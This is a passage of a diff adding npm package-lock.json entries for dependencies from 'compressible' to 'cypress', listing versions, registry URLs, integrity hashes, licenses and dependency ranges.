"version": "2.0.18", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "license": "MIT", + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "license": "MIT", + "dependencies": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/computeds": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/computeds/-/computeds-0.0.1.tgz", + "integrity": "sha512-7CEBgcMjVmitjYo5q8JTJVra6X5mQ20uTThdK+0kR7UEaDrAWEQcRiBtWJzga4eRpP6afNwwLsX2SET2JhVB1Q==", + "license": "MIT" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "license": "MIT" + }, + "node_modules/confbox": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.1.8.tgz", + "integrity": "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==", + "license": "MIT" + }, + "node_modules/confusing-browser-globals": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz", + "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==", + "license": "MIT" + }, + "node_modules/connect-history-api-fallback": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz", + "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==", + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "license": "MIT", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-disposition/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz", + "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.1" + } + }, + "node_modules/cookie": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", + "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==", + "license": "MIT" + }, + "node_modules/copy-descriptor": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", + "integrity": "sha512-XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/core-js": { + "version": "3.23.4", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.23.4.tgz", + "integrity": "sha512-vjsKqRc1RyAJC3Ye2kYqgfdThb3zYnx9CrqoCcjMOENMtQPC7ZViBvlDxwYU/2z2NI/IPuiXw5mT4hWhddqjzQ==", + "hasInstallScript": true, + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat": { + "version": "3.23.4", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.23.4.tgz", + "integrity": "sha512-RkSRPe+JYEoflcsuxJWaiMPhnZoFS51FcIxm53k4KzhISCBTmaGlto9dTIrYuk0hnJc3G6pKufAKepHnBq6B6Q==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.21.1", + "semver": "7.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat/node_modules/semver": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.0.0.tgz", + "integrity": "sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/core-js-pure": { + "version": "3.23.4", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.23.4.tgz", + "integrity": "sha512-lizxkcgj3XDmi7TUBFe+bQ1vNpD5E4t76BrBWI3HdUxdw/Mq1VF4CkiHzIKyieECKtcODK2asJttoofEeUKICQ==", + "hasInstallScript": true, + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==", + "license": "MIT" + }, + "node_modules/corser": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/corser/-/corser-2.0.1.tgz", + "integrity": "sha512-utCYNzRSQIZNPIcGZdQc92UVJYAhtGAteCFg0yRaFm8f0P+CPtyGyHXJcGXnffjCybUCEx3FQ2G7U3/o9eIkVQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/cosmiconfig": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz", + "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==", + "license": "MIT", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/cronstrue": { + "version": "1.125.0", + "resolved": "https://registry.npmjs.org/cronstrue/-/cronstrue-1.125.0.tgz", + "integrity": "sha512-qkC5mVbVGuuyBVXmam5anaRtbLcgfBUKajoyZqCdf/XBdgF43PsLSEm8eEi2dsI3YbqDPbLSH2mWNzM1dVqHgQ==", + "license": "MIT" + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/crypto-random-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz", + "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/css-blank-pseudo": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz", + "integrity": "sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==", + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "bin": { + "css-blank-pseudo": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-color-keywords": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/css-color-keywords/-/css-color-keywords-1.0.0.tgz", + "integrity": "sha512-FyyrDHZKEjXDpNJYvVsV960FiqQyXc/LlYmsxl2BcdMb2WPx0OGRVgTg55rPSyLSNMqP52R9r8geSp7apN3Ofg==", + "license": "ISC", + "engines": { + "node": ">=4" + } + }, + "node_modules/css-declaration-sorter": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.3.0.tgz", + "integrity": "sha512-OGT677UGHJTAVMRhPO+HJ4oKln3wkBTwtDFH0ojbqm+MJm6xuDMHp2nkhh/ThaBqq20IbraBQSWKfSLNHQO9Og==", + "license": "ISC", + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.0.9" + } + }, + "node_modules/css-has-pseudo": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz", + "integrity": "sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==", + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "bin": { + "css-has-pseudo": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-loader": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz", + "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==", + "license": "MIT", + "dependencies": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.7", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.3.5" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/css-loader/node_modules/semver": { + "version": "7.3.7", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/css-minimizer-webpack-plugin": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz", + "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==", + "license": "MIT", + "dependencies": { + "cssnano": "^5.0.6", + "jest-worker": "^27.0.2", + "postcss": "^8.3.5", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@parcel/css": { + "optional": true + }, + "clean-css": { + "optional": true + }, + "csso": { + "optional": true + }, + "esbuild": { + "optional": true + } + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/schema-utils": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", + "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.8.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/css-prefers-color-scheme": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz", + "integrity": "sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==", + "license": "CC0-1.0", + "bin": { + "css-prefers-color-scheme": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-select-base-adapter": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz", + "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==", + "license": "MIT" + }, + "node_modules/css-to-react-native": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/css-to-react-native/-/css-to-react-native-3.0.0.tgz", + "integrity": "sha512-Ro1yETZA813eoyUp2GDBhG2j+YggidUmzO1/v9eYBKR2EHVEniE2MI/NqpTQ954BMpTPZFsGNPm46qFB9dpaPQ==", + "license": "MIT", + "dependencies": { + "camelize": "^1.0.0", + "css-color-keywords": "^1.0.0", + "postcss-value-parser": "^4.0.2" + } + }, + "node_modules/css-tree": { + "version": "1.0.0-alpha.37", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.37.tgz", + "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==", + "license": "MIT", + "dependencies": { + "mdn-data": "2.0.4", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/css-vendor": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/css-vendor/-/css-vendor-2.0.8.tgz", + "integrity": "sha512-x9Aq0XTInxrkuFeHKbYC7zWY8ai7qJ04Kxd9MnvbC1uO5DagxoHQjm4JvG+vCdXOoFtCjbL2XSZfxmoYa9uQVQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.8.3", + "is-in-browser": "^1.0.2" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/cssdb": { + "version": "6.6.3", + "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-6.6.3.tgz", + "integrity": "sha512-7GDvDSmE+20+WcSMhP17Q1EVWUrLlbxxpMDqG731n8P99JhnQZHR9YvtjPvEHfjFUjvQJvdpKCjlKOX+xe4UVA==", + "license": "CC0-1.0", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "license": "MIT", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssfilter": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/cssfilter/-/cssfilter-0.0.10.tgz", + "integrity": "sha512-FAaLDaplstoRsDR8XGYH51znUN0UY7nMc6Z9/fvE8EXGwvJE9hu7W2vHwx1+bd6gCYnln9nLbzxFTrcO9YQDZw==", + "license": "MIT" + }, + "node_modules/cssnano": { + "version": "5.1.12", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.12.tgz", + "integrity": "sha512-TgvArbEZu0lk/dvg2ja+B7kYoD7BBCmn3+k58xD0qjrGHsFzXY/wKTo9M5egcUCabPol05e/PVoIu79s2JN4WQ==", + "license": "MIT", + "dependencies": { + "cssnano-preset-default": "^5.2.12", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/cssnano" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-preset-default": { + "version": "5.2.12", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.12.tgz", + "integrity": "sha512-OyCBTZi+PXgylz9HAA5kHyoYhfGcYdwFmyaJzWnzxuGRtnMw/kR6ilW9XzlzlRAtB6PLT/r+prYgkef7hngFew==", + "license": "MIT", + "dependencies": { + "css-declaration-sorter": "^6.3.0", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.0", + "postcss-convert-values": "^5.1.2", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.6", + "postcss-merge-rules": "^5.1.2", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.3", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.0", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.0", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-utils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/csso": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "license": "MIT", + "dependencies": { + "css-tree": "^1.1.2" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csso/node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "license": "MIT", + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csso/node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", + "license": "CC0-1.0" + }, + "node_modules/cssom": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz", + "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==", + "license": "MIT" + }, + "node_modules/cssstyle": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", + "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "license": "MIT", + "dependencies": { + "cssom": "~0.3.6" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cssstyle/node_modules/cssom": { + "version": "0.3.8", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", + "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", + "license": "MIT" + }, + "node_modules/csstype": { + "version": "2.6.20", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.20.tgz", + "integrity": "sha512-/WwNkdXfckNgw6S5R125rrW8ez139lBHWouiBvX8dfMFtcn6V81REDqnH7+CRpRipfYlyU1CmOnOxrmGcFOjeA==", + "license": "MIT" + }, + "node_modules/cypress": { + "version": "10.3.0", + "resolved": "https://registry.npmjs.org/cypress/-/cypress-10.3.0.tgz", + "integrity": "sha512-txkQWKzvBVnWdCuKs5Xc08gjpO89W2Dom2wpZgT9zWZT5jXxqPIxqP/NC1YArtkpmp3fN5HW8aDjYBizHLUFvg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "@cypress/request": "^2.88.10", + "@cypress/xvfb": "^1.2.4", + "@types/node": "^14.14.31", + "@types/sinonjs__fake-timers": "8.1.1", + "@types/sizzle": "^2.3.2", + "arch": "^2.2.0", + "blob-util": "^2.0.2", + "bluebird": "^3.7.2", + "buffer": "^5.6.0", + "cachedir": "^2.3.0", + "chalk": "^4.1.0", + "check-more-types": "^2.24.0", + "cli-cursor": "^3.1.0", + "cli-table3": "~0.6.1", + "commander": "^5.1.0", + "common-tags": "^1.8.0", + "dayjs": "^1.10.4", + "debug": "^4.3.2", + "enquirer": "^2.3.6", + "eventemitter2": "^6.4.3", + "execa": "4.1.0", + "executable": "^4.1.1", + "extract-zip": "2.0.1", + "figures": "^3.2.0", + "fs-extra": "^9.1.0", + "getos": "^3.2.1", + "is-ci": "^3.0.0", + "is-installed-globally": "~0.4.0", + "lazy-ass": "^1.6.0", + "listr2": "^3.8.3", + "lodash": "^4.17.21", + "log-symbols": "^4.0.0", + "minimist": "^1.2.6", + "ospath": "^1.2.2", + "pretty-bytes": "^5.6.0", + "proxy-from-env": "1.0.0", + "request-progress": "^3.0.0", + "semver": "^7.3.2", + "supports-color": "^8.1.1", + "tmp": "~0.2.1", + "untildify": "^4.0.0", + "yauzl": "^2.10.0" + }, + "bin": { + "cypress": "bin/cypress" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/cypress/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/cypress/node_modules/chalk": { + "version": "4.1.2", + "resolved": 